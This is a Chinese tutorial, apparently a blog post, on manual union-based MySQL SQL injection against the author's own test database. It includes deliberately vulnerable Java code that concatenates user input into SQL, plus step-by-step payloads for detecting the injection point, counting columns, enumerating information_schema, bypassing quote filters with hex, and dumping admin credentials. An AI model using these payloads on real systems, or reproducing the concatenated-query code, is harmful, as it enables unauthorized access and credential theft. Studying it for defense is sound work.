以下是mynona本人原创的,奉献给大家,不要小看数据库注入

参考:

必备知识:

mysql的sql注释符号:#

无论mysql还是sqlServer数据库,里面都有information_schema这个数据库,这个数据库里面TABLES表保存了数据库所有表名,COLUMNS表保存了表   的所有字段名,我们暴库就是针对这两个表。

SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

LIMIT子句

LIMIT 子句用于规定要返回的记录的数目。

对于拥有成千上万条记录的大型表来说,LIMIT 子句是非常有用的。

语法:SELECT 列名称 FROM 表名称 LIMIT 开始位置, 行数

注意:开始位置可以省略,默认是0位置

测试代码:

数据库连接类

(适合mysql和MSSQL2008)

importjava.sql.Connection;public classDateExecute {privateString user;privateString password;privateString type;privateString databaseName;publicDateExecute(String type, String user, String password, String databaseName){this.type =type;this.user =user;this.password =password;this.databaseName =databaseName;

}publicConnection getConnection()throwsInstantiationException, IllegalAccessException,

ClassNotFoundException, SQLException {

Connection con= null;if(type.equals("mysql")){

String driverName= "com.mysql.jdbc.Driver";

Driver d=(Driver) Class.forName(driverName).newInstance();

con= DriverManager.getConnection("jdbc:mysql://localhost:3306/"+databaseName,

user, password);

}else{

String driverName= "com.microsoft.sqlserver.jdbc.SQLServerDriver";

Driver d=(Driver) Class.forName(driverName).newInstance();

con= DriverManager.getConnection("jdbc:sqlserver://localhost:1433; DatabaseName="+databaseName,

user, password);

}returncon;

}public List>getDateList(String sql)throwsInstantiationException, IllegalAccessException,

ClassNotFoundException, SQLException {

Connection conn=getConnection();

List> list = new ArrayList>();try{//stmt = conn.prepareStatement(sql);//ResultSet rs = stmt.executeQuery(sql);

Statement state =conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);

ResultSet rs=state.executeQuery(sql);

list=convertList(rs);

}catch(SQLException e) {

System.out.println("数据库连接失败");

e.printStackTrace();

}returnlist;

}private List convertList(ResultSet rs) throwsSQLException {

List list= newArrayList();

ResultSetMetaData md=rs.getMetaData();int columnCount = md.getColumnCount(); //Map rowData;

while (rs.next()) { //rowData = new HashMap(columnCount);

Map rowData = new HashMap();for (int i = 1; i <= columnCount; i++) {

rowData.put(md.getColumnName(i), rs.getObject(i));

}

list.add(rowData);

}returnlist;

}public int executeUpdate(String sql) throwsInstantiationException,

IllegalAccessException, ClassNotFoundException, SQLException {

Connection conn=getConnection();

Statement stmt;int success = 0;try{

stmt=conn.createStatement();

success=stmt.executeUpdate(sql);

}catch(SQLException e) {

System.out.println("数据库连接失败");

e.printStackTrace();

}returnsuccess;

}

}

测试类:

(我们就是在这个类里面构造注入的sql语句)

importjava.sql.SQLException;public classTestSql {public static void main(String[] args) throwsInstantiationException,

IllegalAccessException, ClassNotFoundException, SQLException {//”root”为你mysql用户名,“xxxxx”为密码,“school”为数据库名

DateExecute de = new DateExecute("mysql", "root", "XXXXX","school");//DateExecute de = new DateExecute("mssql", "sa", "abca157992.","school");//MYSQL

String sqlM= "select * from user;";

String sqlInsertM= "insert into user value(24,'mynona','122334')";

String sqlDeleteM= "delete from user where name = 'mynona'";

System.out.println(de.getDateList(sqlbefore+sql));//MSSQL/*String sqlbefore = "select * from student where id = 1 ";

String sql = " and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='student'";

String sqlInsert = "insert into student values(6, 222, 111)";

String sqlDelete = "delete from student where id = 4";*/

//de.executeUpdate(sqlInsert);

}

}

测试数据库:

测试数据:

假设我们的目标是admin这个表,对于user这个表有个注入点:

Select * from user where name = ‘’;

具体如下:

public classTestSql {public static void main(String[] args) throwsInstantiationException,

IllegalAccessException, ClassNotFoundException, SQLException {

DateExecute de= new DateExecute("mysql", "root", "157992","school");

String name= "admin";

String password="mynona";

String sql= "select * from user where name = '" + name +"' and password = '" + password + "'";

System.out.println("执行的sql语句:\n" +sql);

System.out.println(de.getDateList(sql));

}

}

上面那条sql语句明显两个sql注入点,分别是name和password

运行上面的程序,可以正常输出:

[{id=1, name=admin, password=mynona}]

现在我们要针对name这个注入点构造注入的sql语句。

判断注入点:

目标:看看是否有注入

我们令

name ="mynona and 1=1 #";

然后指向上面的测试代码:

执行的sql语句:

select * from user where name = 'mynona' and 1=1 #' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}]

还是之前的数据,没变化

再令:

name ="mynona and 1=2 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 #' and password = 'mynona'

输出结果:

[]

没有数据了,说明有注入

(tip:sql语句中“#”后面的内容会被忽略)

判断字段数(重要):

目标:看看当前注入点select了几个字段

(知道这些字段数后以后我们做union语句时就等与这相等)

分别构造:

name ="mynona' order by 1 #"; 输出正常

name="mynona' order by 2 #";输出正常

name="mynona' order by 3 #";输出正常

name="mynona' order by 4 #";错误输出

由此可以知道当前的表有3个字段

然后我们联合查询:

name ="mynona' and 1=2 union select 1,2,3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,2,3 #' and password = 'mynona'

输出结果:

[{id=1, name=2, password=3}]

查看用户名:

name ="mynona' and 1=2 union select 1,user(),3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,user(),3 #' and password = 'mynona'

输出结果:

[{id=1, name=root@localhost, password=3}]

现在用户名出来了,是root

查看数据库:

name ="mynona' and 1=2 union select 1,database(),3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,database(),3 #' and password = 'mynona'

输出结果:

[{id=1, name=school, password=3}]

当前数据库名也出来了:school

查看数据库版本:

name ="mynona' and 1=2 union select 1,version(),3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,version(),3 #' and password = 'mynona'

输出结果:

[{id=1, name=5.5.34, password=3}]

可以看到mysql版本是5.5.34

开始爆库:

在mysql里有information_schema这个库,这个库里有tables表,表中有table_schema字段,这个字段储存的时mysql里所有的库名,同时还有table_name这个字段,储存的是MySQL里所有的表名。

遍历数据库school里面的所有表:

其实就是差information_schema数据库里面的TABLES表

name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema='school'# ";

提示:如果对方网站过滤了单引号的话,可以把字符转为16进制:

如school 的十六进制为:0x7363686F6F6C

那么上面那条语句可以变为:

name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ";

执行的sql语句:

select * from user where name = 'mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}, {id=admin, name=2, password=3}, {id=user, name=2, password=3}]

可以看到school数据库的表为user, admin

看到这里,应该高兴,因为admin说不定就存储这管理员的用户名和密码

下面我们遍历admin表(其实就跟上面遍历user表差不多)

其实就是查询数据库information_schema表里面的COLUMNS表

name ="mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ";

执行的sql语句:

select * from user where name = 'mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}, {id=1, name=2, password=id}, {id=1, name=2, password=name}, {id=1, name=2, password=phone}, {id=1, name=2, password=sex}, {id=1, name=2, password=tel}, {id=1, name=2, password=password}]

可以看到遍历出了表admin的字段为:id,name,phone,sex,tel,password

遍历name和password字段的数据:

name ="mynona' union select 1,concat(name),concat(password) from admin # ";

执行的sql语句:

select * from user where name = 'mynona' union select 1,concat(name),concat(password) from admin # ' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}, {id=1, name=admin, password=mynona}]

得出:name=admin,password= mynona

就这样admin表遍历出来了

mysql窗口界面表格式手工录入_mysql手工注入相关推荐

  1. mysql 找回误删表的数据办法_mysql找回误删表的数据方法(必看)

    有备份的话很简单,只需要生成一个最近备份的数据 然后用mysqlbinlog找回备份时间点之后的数据 再恢复到现网即可. 要是没有备份 可能就会比较麻烦,找回数据的成本也是非常之高的. 下面介绍下 m ...

  2. mysql设置单个表的删除权限_Mysql管理命令-查看,创建用户、赋权、删除表用户数据库等操作...

    创建用户.赋权.表空间 ----------------------------- mysql -u root -p 回车 show databases; use pacs show tables; ...

  3. mysql分库分表分页查询语句_MySQL分库分表分库后的查询(8th)

    前言 这边我们以使用python程序要展示一下再分库分表后,我们需要如何对数据库进行操作. python操作数据库 我们这边还是沿用之前的那5中:场景1:购买者下订单#!/usr/bin/env py ...

  4. JDBC连接mysql、创建表、操作数据、PreparedStatement防注入、sql语句返回值类型知识汇总

    JDBC连接过程: import java.sql.*;/*** Description:* Created by CWG on 2020/10/29 21:05*/ public class Con ...

  5. mysql一张表可以用吗_MySQL表操作

    一.存储引擎 不同的数据应该有不同的处理机制 mysql存储引擎: Innodb:默认的存储引擎,查询速度较myisam慢,但是更安全 myisam:mysql老版本用的存储引擎 memory:内存引 ...

  6. mysql创建用户表的sql语句_Mysql创建、删除用户和表的SQL语句

    Mysql创建.删除用户和表的SQL语句 (2015-01-15 17:08:17) 标签: it 联动北方 数据库 分类: IT MySql中添加用户,新建数据库,用户授权,删除用户,修改密码(注意 ...

  7. mysql查询动态表名的数据类型_Mysql中查询某个数据库中所有表的字段信息

    前言 有时候,需要在数据库中查询一些字段的具体信息,而这些字段又存在于不同的表中,那么我们如何来查询呢? 在每一个数据库链接的information_schema数据库中,存在这样一张表--COLUM ...

  8. mysql一张表最多多少索引_MySQL一个索引最多有多少个列?真实的测试例子

    MySQL一个索引最多有多少个列?真实的测试例子 更新时间:2009年07月01日 22:22:21   作者: MySQL一个索引最多有多少个列?下面是具体的实现代码. 最多16列. create ...

  9. mysql怎么给表设置查询语句_MySQL查询语句简单操作示例

    本文实例讲述了MySQL查询语句简单操作.分享给大家供大家参考,具体如下: 查询 创建数据库.数据表 -- 创建数据库 create database python_test_1 charset=ut ...

最新文章

  1. GoDaddy万用https ssl证书如何通过DNS审核
  2. asp.net html 加密解密,三种方法还原ASP.NET可逆加密内容
  3. 巧妙设置Android来方便管理Linux和Windows
  4. Abiword 编辑事件设计
  5. java nio 追加写文件_Java NIO在文件末尾追加数据
  6. JAVA WEB开发环境搭建教程
  7. 【LeetCode笔记】剑指 Offer 59 - II. 队列的最大值(Java、辅助队列)
  8. java参数校验:ValidatorUtils校验框架工具类的使用
  9. SQLServer2008内存飙升 解决
  10. typedef 浅析
  11. Android Studio开发-高效插件强烈推荐
  12. 【TSP】基于matlab遗传和模拟退火算法求解中国省会城市旅行商问题【含Matlab源码 1254期】
  13. 常用WEB前端框架大全
  14. KNN实现手写字体的识别
  15. DNS介绍,哪个好,速度快稳定
  16. 入门小白不到三个月就学会了用maya软件如何制作动画
  17. 使用Java将中文转化为拼音
  18. 前端实现Thing.js 3D模型展示Demo
  19. matlab中的out模块,matlab-simulink中out模块怎么用?
  20. 逆向学习路线(推荐书籍)

热门文章

  1. 什么叫事务?Java如何处理事务呢?
  2. 【JOURNAL】康生篆书联
  3. SQL Server2005还原数据库攻略
  4. 信息学奥赛一本通 2024:【例4.10】末两位数
  5. 信息学奥赛一本通(1124:矩阵加法)
  6. Powerful array(CF-86D)
  7. 大盗阿福(信息学奥赛一本通-T1301)
  8. Cow Contest(POJ-3660 )
  9. 斯诺登的密码(洛谷-P1603)
  10. 4 CO配置-企业结构-分配-把控制范围分配给经营范围